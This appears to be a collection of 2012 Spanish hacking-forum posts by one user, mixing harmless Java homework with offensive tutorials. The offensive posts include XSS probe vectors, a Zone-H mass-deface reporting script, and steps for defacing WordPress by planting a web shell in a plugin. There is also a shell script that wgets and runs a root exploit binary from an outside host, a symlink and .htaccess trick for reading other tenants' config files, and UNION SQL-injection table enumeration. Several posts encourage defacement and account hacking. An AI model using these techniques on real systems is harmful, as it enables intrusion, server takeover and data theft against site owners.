Como me gusta chrome el que mas uso para probar antes de mandarme a testear con el firefox para que salten uso:


Código: php
"><h1>hols</h1>
"><marquee>sb</h1>
"/><img src=x />



Hasta los populares han caido con estos Vectores...













Saludos,
Dedalo
#19
Bugs y Exploits / Zone-H Reporter
Junio 30, 2012, 04:44:53 PM
Esta t00l es un poco priv8 no muchos la tienen me la pasó un amigo hace un timesito y se las comparto para los que son defacers puedan reportar de manera mas rápida sus ataques...


Código: perl
#!/usr/bin/perl

#####################################
#             Zone-H Notify                                          #                          
#####################################

############
use LWP::UserAgent;
############
system('cls');
system ('title Powered By PrinceofHacking');
############

print "                         #####################\n   ";
print "                      #    Zone-Notify    #\n  ";
print "                       #        USO        #\n  ";
print "                       # [1] Single Deface #\n";
print "                         # [2] Mass   Deface #\n";
print "                         # [3] Help & About  #\n";
print "                         #####################\n\n   ";

$pick=<STDIN>;
if ($pick>3) {
print "Unknown Command\n";
}
if ($pick ==1)
{

print "Mode : Single Deface\n\n";
print "Defacer [Nickname] :\n";
$Def=<STDIN>;
print "Dominio:\n";
$Dom=<STDIN>;
if ($Dom =~ /http:\/\//)
{
$U="http://zone-h.org/notify/single";
$lwp=LWP::UserAgent->new;
$res=$lwp  -> post($U,[
'defacer'     => $Def,
'domain1'   => $Dom,
'hackmode' => '15',
'reason'       => '1',
'submit'       => 'Send',
]);
if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
print "Result => $1";
}
else
{
print "Error\n";
}
}
else
{
$new="http://" . "$Dom";
$U="http://zone-h.org/notify/single";
$lwp=LWP::UserAgent->new;
$res=$lwp  -> post($U,[
'defacer'     => $Def,
'domain1'   => $new,
'hackmode' => '15',
'reason'       => '1',
'submit'       => 'Send',
]);
if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
print "Result => $1";
}
else
{
print "Error\n";
}
}
}
#############################################Mass###########################################
if ($pick == 2){
print "Mode : Mass Deface\n\n";
open(site,"owned.txt");

@ARRAY=<site>;

close site;
print "Defacer [Nickname] :\n";
$Def=<STDIN>;
foreach $mass(@ARRAY){
if ($mass !~ /http:/) {
$mass='http://' . $mass;
}
print "$mass\n";

$U="http://zone-h.org/notify/single";
$lwp=LWP::UserAgent->new;
$res=$lwp  -> post($U,[
'defacer'     => $Def,
'domain1'   => $mass,
'hackmode' => '15',
'reason'       => '1',
'submit'       => 'Send',
]);
if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
print "Result => $1\n\n";
}
else
{
print "Error\n";
}
}
}
#####################About##############
if ($pick ==3)
{
print "Para la opcion [2] crear un texto con las paginas y guardarlo como : owned.txt\n";
print "Example\n";
print "http://link.com\n";
print "http://link2.com\n";
print "http://link3.com\n\n";
}



Saludos,
Dedalo
#20
Quisiera que alguien me diga un programa para grabar mi desktop desde ubuntu...


Saludos,
Dedalo
#21
Bugs y Exploits / Atacando a un Wordpress
Junio 27, 2012, 03:45:32 PM
Bueno cuando hacer symlink o sacas algun tipo de inyección en un plugin de wordpress o le meter keylogger y le sacas el pass del wordpress algunos no saben como defacear el wordpress yo les voy a enseñar una forma o un par de formas mejor dicho de como los defaceamos...





Ya estamos en el panel de administración ahora veamos arriba del número 3 dice howdy admin al lado dice New Post ahi demos click


veremos algo parecido a esto:





lo que está señalado en rojo le damos click, osea donde dice html y agregamos este código:


Código: html5
<META HTTP-EQUIV="Refresh" CONTENT="3; URL=http://underc0de.org">


donde dice No tienes permitido ver los links. Registrarse o Entrar a mi cuenta cambienlo por la url donde esté su index... esta es una opcion ustedes hagan su html puede ser un iframe quizás o con lo que ustedes deseen, un javascript derrepente... lo que hacemos básicamente es crear un post con un contenido de redirección para al entrar al wordpress redireccione a nuestro index.



La otra manera es mas interesante...


Vemos que en la imagen en la parte 1 aparece un boton llamado plugins:




le damos click y veremos algo como esto:




pongan editar y aparecerá algo asi:




editamos ese php y ponemos el código de nuestra shell ahora ponemos Save File y...

luego ingresamos a:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Es Tu shell verdad?

Luego cambias el index del wordpress y ya OWNED!



Espero que Se haya entendido es bien fácil y pues no hagan lammeradas...



Saludos,
Dedalo
#22
CitarPara Revivir la Zona de Bugs y Exploits y Para en General para medir el level de como vamos todos en lo que es seguridad y perspicacia Para poder dar cursos o tutoriales les voy a dejar un reto doble:

el primer reto es:

El siguiente código a que bug(s) es vulnerable:

Código: php
<?php

$a = $_GET['a'];

$j = (int) $_GET['b'];

$asd = "SELECT * FROM advisors WHERE id=$j";

$ad = mysql_query($asd);

while($ab = mysql_fetch_assoc($ad)){

echo $a;

echo $j;

}

?>



y el Segundo es:

CitarX+X+D+C = 452
K+L+B = 362
C+C+C+C = 404
L+7+5+8 = 463
F+D+X = ?



La Respuesta mandenmela por mensaje privado y si son correctas los pondré aquí editando el tema...


- Pendiente

- Pendiente

- Pendiente

- Pendiente



Saludos,
Dedalo



Esos eran los retos ahora les voy a indicar como se resolvian cada uno de ellos:


El primero era vulnerable a Xss

Código: php
$a = $_GET['a'];
echo $a;


no se limpiaba la variable $a



El segundo era 361

el primer número es la cantidad de caracteres

K+L+B = 3 caracteres
C+C+C+C = 4 caracteres


el segundo número era el numero de líneas rectas que tenían las letras:

K+L+B = 6 líneas rectas
C+C+C+C = 0 líneas rectas


y el último número eran las líneas curvas que tenian las letras:

K+L+B = 2 líneas curvas
C+C+C+C = 4 líneas curvas


por ende:

F+D+X = 361



Espero para la versión 2 la gente tenga mas ánimos de resolver el programa igual y los que mandaron sus respuestas muchas gracias casi todos me pusieron que era sqli y no es sqli les muestro:

Código: php
$j = (int) $_GET['b'];



se filtra con (int) para que no sea sqli.



Saludos,
Dedalo
#23
Bugs y Exploits / r00t Expl0it [Casi Todos Los 2011]
Junio 23, 2012, 03:26:29 AM
Bueno es simple este root expl0it ya está compilado yo solo he adaptado un .sh para que se ejecute bien.

Código: bash


#! / Bin / sh
# By n30-h4ck3r Edited Dedalo 4 Underc0de


checkroot function {
if ["$ (id-u)" = "0"]; then
cd ..;
rm-r underc0de;
echo "Eres r00t ";
exit;
else
echo "No se puedo r00tear sigues siendo el usuario" 'whoami';
echo "";
fi;
}

uname-a;
mkdir underc0de;
cd underc0de;
echo "Checking if already root ...";
checkroot;

wget http://alexoloughlinsplace.com/forum/NewDir/z1d-2011;
chmod 0777 z1d-2011;
./z1d-2011;
checkroot;



Sirve para casi todos los Kernels del 2011



Saludos,
Dedalo
#24
Bugs y Exploits / Obteniendo Path Disclosures
Junio 23, 2012, 03:18:42 AM
Esto de aquí es un tutorial muy pero muy simple sin embargo lo pongo porque a veces necesitamos los path para poder subir Shell en la SQLi o expl0tar mejor el LFI así que aquí les pongo las maneras que yo conosco:

1.- Comilla

Citar
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta'

Con ese método es muy probable que por no poder completar el query mande un error de la función y con el un path Disclosure.


2.- Array

CitarNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta[]=1

Con ese método lo que hacemos es crear un array en base a la variable "id" por lo que hace forzar un error, si está bien parseado el array no manda error de lo contrario... tendremos el path


3.- Cookie Nulling
CitarLo primero que hacemos es ver que cookies nos genera un site y en base a eso nos la nulleamos...

Vas a tu browser y pones en la url:

javascript:document.cookie = "nombredelacookie=;"


Espero les Sirva en algún momento...



Saludos,
Dedalo
#25
Para que no se vuelva lammer y se pueda seguir un buen orden se podrán publicar las siguientes cosas:

1.- Si se trata de un Deface debe ser sitios q no dañen la integridad Social y Con un motivo.
2.- Si es r00t de un server la captura de pantalla debe contener una muestra de que son r00t en el server.
3.- Si es un mail o Facebook hackeado debe ser de alguien importante y/o deben ser mas de 10 a la vez.
4.- No se aceptan defaces que sean solo de una noticia o en webs no populares.




Formas de postear:

El titulo del mensaje debe tener entre corchetes el tipo de falla explotada y la url principal del sitio. Ej: [XSS] No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El post debe contener:

Una imagen mostrando la falla
La url del sitio
Url en donde se realizo la inyeccion
Vector utilizado
Autor
Y si fue reportado o no la falla

Saludos,
Dedalo


PD: Cualquier ataque que no siga las normas automaticamente será borrado el post.
#26
Java / Algunos pequeños ejercicios en JAVA
Mayo 23, 2012, 02:54:24 PM
Estos ejercicios me los dejaron en la universidad se los doy en caso de que los necesiten ya los resolvi fue mi tarea...




1.   Una fábrica de gaseosas ha puesto en oferta la venta de su gaseosa de 3 litros ofreciendo un doble descuento del 7%. El primer descuento se aplica al importe de la compra. El segundo descuento se aplica al importe que se obtiene de restar el importe de la compra menos el importe del primer descuento. Además, como incentivo especial, obsequia dos caramelos por cada gaseosa adquirida. Dados el precio de la gaseosa y la cantidad de gaseosas adquiridas, diseñe un programa que determine el importe de la compra, el importe del descuento total, el importe a pagar y la cantidad de caramelos de obsequio.

2.   Una empresa ha decidido otorgar a sus vendedores una bonificación de S/. 50 por cada hijo en edad escolar. El sueldo básico es S/. 600. La comisión es igual al 7.5% del importe total vendido del mes. El sueldo bruto es igual a la suma de la bonificación, más el sueldo básico y más la comisión. Por ley, todo vendedor esta sujeto a un descuento del 11% del sueldo bruto. Dados el importe total vendido del mes y la cantidad de hijos en edad escolar, diseñe un programa que determine la bonificación, la comisión, el sueldo bruto, el descuento y el sueldo neto de un vendedor.

3.   Una empresa dedicada al alquiler de automóviles cobra por día de alquiler una tarifa determinada. Como oferta promocional, la empresa aplica un descuento igual al 15% del importe bruto. Además, la empresa obsequia 3 lapiceros más 2 caramelos por cada día de alquiler. Dados la tarifa y el número de días de alquiler de un automóvil, diseñe un programa que determine el importe bruto, el importe del descuento, el importe neto a pagar, la cantidad de lapiceros de obsequio y la cantidad de caramelos de obsequio.

4.   Una tienda ha puesto en oferta la venta de conos de CD de 100 unidades ofreciendo dos descuentos de 5%. El primer descuento se aplica al importe de la compra. El segundo descuento se aplica a la resta del importe de la compra menos el importe del primer descuento. Dados el precio del cono y la cantidad de conos adquiridos, diseñe un programa que determine el importe de la compra, el importe del descuento total y el importe a pagar.


________________


1.-
Código: java
import java.awt.event.*;
import java.awt.*;
import javax.swing.*;

public class Gaseosa extends JApplet implements ActionListener{
// Declaración de variables globales
JButton btnProcesar;
JTextArea txtS;
JLabel lblPrecioGaseosa, lblCantidadGaseosas;
JTextField txtPrecioGaseosa, txtCantidadGaseosas;
JScrollPane scpScroll;

// Crea la interfaz gráfica de usuario
public void init() {
getContentPane().setLayout(null);

lblPrecioGaseosa = new JLabel("Precio gaseosa (S/.)");
lblPrecioGaseosa.setBounds(15, 15, 140, 23);
getContentPane().add(lblPrecioGaseosa);

lblCantidadGaseosas = new JLabel("Cantidad de gaseosas");
lblCantidadGaseosas.setBounds(15, 39, 140, 23);
getContentPane().add(lblCantidadGaseosas);

txtPrecioGaseosa = new JTextField();
txtPrecioGaseosa.setBounds(155, 15, 120, 23);
getContentPane().add(txtPrecioGaseosa);

txtCantidadGaseosas = new JTextField();
txtCantidadGaseosas.setBounds(155, 39, 120, 23);
getContentPane().add(txtCantidadGaseosas);

btnProcesar = new JButton("Procesar");
btnProcesar.setBounds(365, 15, 100, 23);
btnProcesar.addActionListener(this);
getContentPane().add(btnProcesar);

txtS = new JTextArea();
txtS.setFont(new Font("monospaced", Font.PLAIN, 12));

scpScroll = new JScrollPane(txtS);
scpScroll.setBounds(15, 77, 450, 150);
getContentPane().add(scpScroll);
}

// Procesa eventos de tipo ActionEvent
public void actionPerformed( ActionEvent e ){

double pu, ic, d1, d2, dt, ip;
int cant, regalos;

pu = Double.parseDouble(txtPrecioGaseosa.getText());
cant = Integer.parseInt(txtCantidadGaseosas.getText());

ic = pu * cant;

d1 = ic * 0.07;

d2 = (ic - d1) * 0.07;

dt = d1 + d2;

ip = ic - dt;

regalos = cant * 2;

txtS.setText("Importe de la compra: "+ic+"\n");
txtS.append("Importe con Descuento: "+ip+"\n");
txtS.append("Caramelos: "+regalos+"\n");


}
}




2.-
Código: java
import java.awt.event.*;
import java.awt.*;
import javax.swing.*;

public class Empresa extends JApplet implements ActionListener{
// Declaración de variables globales
JButton btnProcesar;
JTextArea txtS;
JLabel lblImporteTotalVendido, lblNumeroHijos;
JTextField txtImporteTotalVendido, txtNumeroHijos;
JScrollPane scpScroll;

// Crea la interfaz gráfica de usuario
public void init() {
getContentPane().setLayout(null);

lblImporteTotalVendido = new JLabel("Importe total vendido (S/.)");
lblImporteTotalVendido.setBounds(15, 15, 150, 23);
getContentPane().add(lblImporteTotalVendido);

lblNumeroHijos = new JLabel("Numero de hijos");
lblNumeroHijos.setBounds(15, 39, 150, 23);
getContentPane().add(lblNumeroHijos);

txtImporteTotalVendido = new JTextField();
txtImporteTotalVendido.setBounds(170, 15, 120, 23);
getContentPane().add(txtImporteTotalVendido);

txtNumeroHijos = new JTextField();
txtNumeroHijos.setBounds(170, 39, 120, 23);
getContentPane().add(txtNumeroHijos);

btnProcesar = new JButton("Procesar");
btnProcesar.setBounds(365, 15, 100, 23);
btnProcesar.addActionListener(this);
getContentPane().add(btnProcesar);

txtS = new JTextArea();
txtS.setFont(new Font("monospaced", Font.PLAIN, 12));

scpScroll = new JScrollPane(txtS);
scpScroll.setBounds(15, 77, 450, 150);
getContentPane().add(scpScroll);
}

// Procesa eventos de tipo ActionEvent
public void actionPerformed( ActionEvent e ){

double it, comi, descsubru, subru, total;
int ch, hijos;

ch = Integer.parseInt(txtNumeroHijos.getText());
it = Double.parseDouble(txtImporteTotalVendido.getText());

comi = it * 0.075;
hijos = 50 * ch;

subru = 600 + comi + hijos;

descsubru = subru * 0.11;

total = subru - descsubru;

txtS.setText ("Bonificacion: "+hijos+"\n");
txtS.append ("Comision: "+comi+"\n");
txtS.append ("Sueldo Bruto: "+subru+"\n");
txtS.append ("Descuento: "+descsubru+"\n");
txtS.append ("Neto: "+total+"\n");





}
}




3.-
Código: java
import java.awt.event.*;
import java.awt.*;
import javax.swing.*;

public class Alquiler extends JApplet implements ActionListener{
// Declaración de variables globales
JButton btnProcesar;
JTextArea txtS;
JLabel lblTarifaDia, lblDiasAlquiler;
JTextField txtTarifaDia, txtDiasAlquiler;
JScrollPane scpScroll;

// Crea la interfaz gráfica de usuario
public void init() {
getContentPane().setLayout(null);

lblTarifaDia = new JLabel("Tarifa por día (S/.)");
lblTarifaDia.setBounds(15, 15, 140, 23);
getContentPane().add(lblTarifaDia);

lblDiasAlquiler = new JLabel("Días de alquiler");
lblDiasAlquiler.setBounds(15, 39, 140, 23);
getContentPane().add(lblDiasAlquiler);

txtTarifaDia = new JTextField();
txtTarifaDia.setBounds(155, 15, 120, 23);
getContentPane().add(txtTarifaDia);

txtDiasAlquiler = new JTextField();
txtDiasAlquiler.setBounds(155, 39, 120, 23);
getContentPane().add(txtDiasAlquiler);

btnProcesar = new JButton("Procesar");
btnProcesar.setBounds(365, 15, 100, 23);
btnProcesar.addActionListener(this);
getContentPane().add(btnProcesar);

txtS = new JTextArea();
txtS.setFont(new Font("monospaced", Font.PLAIN, 12));

scpScroll = new JScrollPane(txtS);
scpScroll.setBounds(15, 77, 450, 150);
getContentPane().add(scpScroll);
}

// Procesa eventos de tipo ActionEvent
public void actionPerformed( ActionEvent e ){

double tarifa, td, desc, total;
int dias, ob1, ob2;

dias = Integer.parseInt(txtDiasAlquiler.getText());
tarifa = Double.parseDouble(txtTarifaDia.getText());

td = tarifa * dias;
desc = td * 0.15;
total = td - desc;


ob1 = dias * 3;
ob2 = dias * 2;

txtS.setText ("Importe Bruto: "+td+"\n");
txtS.append ("Descuento: "+desc+"\n");
txtS.append ("total: "+total+"\n");
txtS.append ("Lapiceros: "+ob1+"\n");
txtS.append ("Caramelos: "+ob2);


}
}




4.-
Código: java
import java.awt.event.*;
import java.awt.*;
import javax.swing.*;

public class Tienda extends JApplet implements ActionListener{
// Declaración de variables globales
JButton btnProcesar;
JTextArea txtS;
JLabel lblPrecioCono, lblCantidadConos;
JTextField txtPrecioCono, txtCantidadConos;
JScrollPane scpScroll;

// Crea la interfaz gráfica de usuario
public void init() {
getContentPane().setLayout(null);

lblPrecioCono = new JLabel("Precio del cono (S/.)");
lblPrecioCono.setBounds(15, 15, 140, 23);
getContentPane().add(lblPrecioCono);

lblCantidadConos = new JLabel("Cantidad de conos");
lblCantidadConos.setBounds(15, 39, 140, 23);
getContentPane().add(lblCantidadConos);

txtPrecioCono = new JTextField();
txtPrecioCono.setBounds(155, 15, 120, 23);
getContentPane().add(txtPrecioCono);

txtCantidadConos = new JTextField();
txtCantidadConos.setBounds(155, 39, 120, 23);
getContentPane().add(txtCantidadConos);

btnProcesar = new JButton("Procesar");
btnProcesar.setBounds(365, 15, 100, 23);
btnProcesar.addActionListener(this);
getContentPane().add(btnProcesar);

txtS = new JTextArea();
txtS.setFont(new Font("monospaced", Font.PLAIN, 12));

scpScroll = new JScrollPane(txtS);
scpScroll.setBounds(15, 77, 450, 150);
getContentPane().add(scpScroll);
}

// Procesa eventos de tipo ActionEvent
public void actionPerformed( ActionEvent e ){

Double pc, ic, d1, d2, dt, ip;
int cant;

cant = Integer.parseInt(txtCantidadConos.getText());
pc = Double.parseDouble(txtPrecioCono.getText());

ic = pc * cant;

d1 = ic * 0.05;

d2 = (ic - d1) * 0.05;

dt = d1 + d2;

ip = ic - dt;

txtS.setText("Importe de la Compra: "+ic+"\n");
txtS.append ("Importe descuento: "+dt+"\n");
txtS.append ("Importe Total: "+ip+"\n");



}
}




Saludos,
Dedalo
#27
Alguien sabe como rootear no he podido dos veces ya voy cagando el celular... no vuelve a iniciar alguien tiene alguna idea?


MOTOROLA TITANIUM


Saludos,
Dedalo
#28
Bugs y Exploits / Xss en Taringa
Mayo 06, 2012, 09:14:31 PM
Bueno este es un video de una conferencia que di... encontré un Xss Persistente en Taringa... no es solo para mostrar el Bug Vean con atención pues es como yo investigo los xss... probando diferentes formas de bypass... y mucho mas....






Saludos,
Dedalo
#29
Bugs y Exploits / Argument Injection
Mayo 06, 2012, 04:35:47 PM
Cuantas veces no hemos visto un log-in que no es vulnerable a sql injection pero queremos entrar a como de lugar, una idea sería brute-force pero... no siempre hay una respuesta...

Ahora les voy a mostrar un error que algunos programadores aun cometen, la idea es que cuando el usuario y la pass coninciden hacen que una variable X cambie a true, ahora la preguntasa es que pasaría si nosotros hicieramos que la variable a taves de un GET se ejecutara?


Un Ejemplo (No es Real! Es un tipo Pseudo):


Código: php
<?php

if ($user == 'hola' AND $pass == 'pass'){
$access = $_GET['access'];
$access = 1;
}

if ($access == '1') {
echo 'Access Granted.'; }
else {
echo 'Access Denied.';
}
?>




Como ven en el caso de que access sea true te deja entrar... yo me pregunto que pasaría si nosotros por ejemplo...


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

ahi ponemos un usuario para bypass con sql injection y no funciona entonces nos regresa a la misma página... pero nos mostrará algo como lo siguiente:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

como ejemplo... ahora si nosotros en ves de esto pusieramos...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

ahi tambiaríamos a true la variable access ahora como la mayoría de personas no ponen una seguridad a sus paneles de control solo faltaría ir a

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Ahora para reparar este error no hay mucho que hacer en vez de hacer dos ifs distintos uno preguntando asi: si usuario y pass son correctos access = 1 no cojerlo por get en ningun momento por post tampoco sino como session setearlo como session...

Otra cosa deben de asegurar que pida la sessión en el momento de hacer que access cambie a 1...

if(isset($_SESSION['access']))



Saludos,
Dedalo
#30
Bugs y Exploits / Symlink - Detrás de la t00l
Mayo 06, 2012, 04:28:34 PM
Desde hace meses esta técnica pasó de mano en manó por una t00l en Perl y un PHP, porsupuesto uno no se tiene que quedar detrás de la t00l ir un poco mas hayá no cuesta nada y la verdad es que no tenía idea muy bien como funcionaba eso del symlink soy linuxero pero no había provado esto... entonces comenzé a preguntar por aquí por haya y no fue hasta algo que pasó en el trabajo que me hizo entender le debo mucho a R.S que con un comando me hizo entrar en razón hizo lo siguiente en la consola...


ln -s /var/www/test/


ahí dije pobre hijuepu... entendí la puta técnica sabía usar la t00l pero no es lo mismo...


ahora les explico lo que el symlink hace es crear un Link Symbólico pero el contenido es el mismo que el del link natural por ejemplo...


yo entro a la pc de mi pata entonces quiero entrar a la carpeta /www/ porque me quiero sacar su config.php pero tiene un culo de carpetas y no tengo tanto tiempo facilito noma my friend vamos a crear un link symbolico de toda su /www/ creamos otro directorio llamado sym y por consola ponemos ln -s /var/www/wordpress/ entonces me va a sacar todos los archivos de su wordpress y me los pone en sym entonces ya lo tengo para leer todo asi es hermano todo todo... pero vamos un poco mas hayá al blackhat que es lo que te gusta jajaja como lo aplicamos...


Vamos a este server que tiene 3k de páginas... pero su kernel no es r00teable o mejor dicho aun no sale el r00t-expl0it que quieres... entonces le damos de la siguiente manera...


usen su shell de preferencia... pongansé en el public_html es decir algo asi:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

luego vamos a la consola de comandos... y vamos a crear un directorio:


mkdir tutobydedal0


entonces eso quiere decir que podemos entrar a una ruta así No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


listo ahora en la shell vamos a navegar a este directorio que hemos creado y vamos a subir un .htaccess con lo siguiente...

Options Indexes FollowSymLinks
DirectoryIndex evitandoel403.htm
AddType txt .php
AddHandler txt .php


Bueno ahora en este directorio vamos a ejecutar esto en la consola:


ln -s /root


OJO el root puede variar dependiendo del hosting... pero básicamente es el directorio principal en tu consola normalmente te sale la ruta de la shell sale algo asi:

/home/sddf/public_html algo asi tu tienes que ir al primer slash que normalmente es /root bueno ahora si cuando hemos hecho esto vamos a través de la shell a la carpeta tutobydedal0


aja! te quedaste loco no? hay una carpeta llamada root entra y verás varias carpetas entra a home... /sdsdsfd /sdffgjjf /hola /web233 /jsjsdjd ajam.. varios sites ahora un wordpress y entra por url asi:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
install.php <-- xD te emocionaste? se puede ver el codigo fuente del PHP...


Si te topas con un error 500 te dejo la duda de porque no se puede ver... investiga un poco mas o espera el siguiente post de symlink en el cual postearé una t00lsita que estoy programando aun...


Saludos,
Dedalo
#31
Bueno esto no es un tutorial muy extenso sino que hay veces que tengo amigos que me dicen oe tienes alguna tool por que no se los nombres de las tablas y yo... chequea con el schema y me dice como no entiendo y yo saca los nombres de las tablas asi usando el limit y no saben como porque es verdad en la mayoría de tutoriales ponen:

-99+Union+Select+01,2,3,4,5+From+Nombre_tabla-- y ese nombre lo deben de adivinar.... y si dicen from information_schema.tables ponen en el 2 table_name y no explican mucho más... bueno compas funciona asi:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


luego en la web aparecerán marcados algunos numeros pueden ser 2 o 3 bueno ese numero lo reemplazamos en la url... por table_name y en donde aparecia ese numerito ahora aparecerá un nombre medio raro eso es del sistema bueno luego para ver las demás... aquí es donde usamos el limit...



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

listo chamaquitos.... ahora es facilito seguir sacando el nombre de las tablas... cambian el primer 1 por 2 luego por 3 luego por 4 y asi sucesivamente...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


y asi consecutivamente y listo ya tenemos todos los nombres de las tablas capaz en la 15 esté usuarios o web_01_usuarios xD un nombre que no adivinariamos y bueno ahora con las columnas no?



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


asi y vas subiendo el limit tambien para sacar todos los nombres :D



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



y así sucesivamente, en algunos servidores no protegidos varía y no necesitan poner el nombre de la tabla en hex sino 'nombre'.


bueno se que muchos aquí ya sabian esto pero algunos no asi que espero les haya servido.


Saludos,
Dedalo


PD: Recuerden que aquí lo que quiero es enseñar lo simple del limit para sacar las tablas y columnas nada mas.